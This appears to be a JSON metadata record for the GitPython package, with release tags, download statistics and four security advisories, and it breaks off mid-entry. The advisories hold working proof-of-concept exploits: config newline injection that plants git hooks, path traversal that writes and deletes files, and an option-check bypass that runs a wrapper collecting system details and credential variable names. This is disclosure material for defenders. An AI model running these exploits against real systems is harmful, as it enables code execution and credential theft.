z/0.3.1-beta2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.1-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta2/manifests"},{"name":"0.3.1-beta1","sha":"fca367548e365f93c58c47dea45507025269f59a","kind":"commit","published_at":"2010-11-21T21:26:01.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.1-beta1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.1-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta1/manifests"},{"name":"0.3.0-beta2","sha":"258403da9c2a087b10082d26466528fce3de38d4","kind":"commit","published_at":"2010-07-09T10:35:44.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.0-beta2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta2/manifests"},{"name":"0.3.0-beta1","sha":"3288a244428751208394d8137437878277ceb71f","kind":"commit","published_at":"2010-07-08T09:49:21.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.0-beta1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta1/manifests"},{"name":"0.2.0-beta1","sha":"1019d4cf68d1acdbb4d6c1abb7e71ac9c0f581af","kind":"commit","published_at":"2010-05-25T18:11:43.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.2.0-beta1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.2.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.2.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.2.0-beta1/manifests"},{"name":"0.1.7","sha":"7bfca5efce8988e6070e7284bd409d1a731a3fbc","kind":"commit","published_at":"2010-03-20T15:45:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.7/manifests"},{"name":"0.1.6","sha":"9a4b1d4d11eee3c5362a4152216376e634bd14cf","kind":"commit","published_at":"2009-01-24T20:41:55.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.6/manifests"},{"name":"0.1.5","sha":"5117c9c8a4d3af19a9958677e45cda9269de1541","kind":"commit","published_at":"2008-12-15T18:44:44.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.5/manifests"},{"name":"0.1.4","sha":"924da9604d6474fd1be99dffdcc539eaaaa31626","kind":"tag","published_at":"2008-07-17T02:32:01.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4/manifests"},{"name":"0.1.4-pre","sha":"95a83a7de5d3ce84206b9267962c32df4d071c21","kind":"tag","published_at":"2008-07-16T23:48:45.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.4-pre","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.4-pre","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4-pre","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4-pre/manifests"}]},"repo_metadata_updated_at":"2024-09-08T01:57:56.477Z","dependent_packages_count":1181,"downloads":240914533,"downloads_period":"last-month","dependent_repos_count":27784,"rankings":{"downloads":0.01980898997995257,"dependent_repos_count":0.04273606171600878,"dependent_packages_count":0.022376822014390865,"stargazers_count":1.5876538635784205,"forks_count":1.8690148879233026,"docker_downloads_count":0.36481556546412647,"average":0.6510676984460336},"purl":"pkg:pypi/gitpython","advisories":[{"uuid":"GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu","url":"https://github.com/advisories/GHSA-mv93-w799-cj2w","title":"GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath","description":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-08T23:19:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w","https://github.com/advisories/GHSA-rpm5-65cw-6hj4","https://github.com/advisories/GHSA-mv93-w799-cj2w"],"source_kind":"github","identifiers":["GHSA-mv93-w799-cj2w"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-09T00:00:08.599Z","updated_at":"2026-05-09T06:00:08.236Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.50","vulnerable_version_range":"\u003c= 3.1.49"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV","url":"https://github.com/advisories/GHSA-v87r-6q3f-2j67","title":"GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath","description":"`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())  # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid \u003e /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())  # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T21:58:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67","https://nvd.nist.gov/vuln/detail/CVE-2026-44244","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49","https://github.com/advisories/GHSA-v87r-6q3f-2j67"],"source_kind":"github","identifiers":["GHSA-v87r-6q3f-2j67","CVE-2026-44244"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T22:00:07.920Z","updated_at":"2026-05-09T06:00:14.126Z","epss_percentage":0.0002,"epss_percentile":0.05644,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.49","vulnerable_version_range":"\u003c= 3.1.48"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM","url":"https://github.com/advisories/GHSA-7545-fcxq-7j24","title":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","description":"## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `\u003c= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\u003ccurrent HEAD commit SHA\u003e\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T19:38:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24","https://nvd.nist.gov/vuln/detail/CVE-2026-44243","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48","https://github.com/advisories/GHSA-7545-fcxq-7j24"],"source_kind":"github","identifiers":["GHSA-7545-fcxq-7j24","CVE-2026-44243"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.694Z","updated_at":"2026-05-09T06:00:15.416Z","epss_percentage":0.00096,"epss_percentile":0.26353,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.48","vulnerable_version_range":"\u003c= 3.1.47"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD","url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4","title":"GitPython has Command Injection via Git options bypass","description":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '\u003c%s\u003e' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=\u003credacted\u003e/' || true\n}} \u003e '{proof}'\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n    [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\": wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n    print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin  \u003credacted\u003e Darwin Kernel Version  \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-25T23:42:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4","https://nvd.nist.gov/vuln/detail/CVE-2026-42215","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","https://github.com/advisories/GHSA-rpm5-65cw-6hj4"],"source_kind":"github","identifiers":["GHSA-rpm5-65cw-6hj4","CVE-2026-42215"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-26T00:00:12.369Z","updated_at":"2026-05-13T13:00:30.285Z","epss_percentage":0.00083,"epss_percentile":0.23986,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.47","vulnerable_version_range":"\u003e= 3.1.30, \u003c 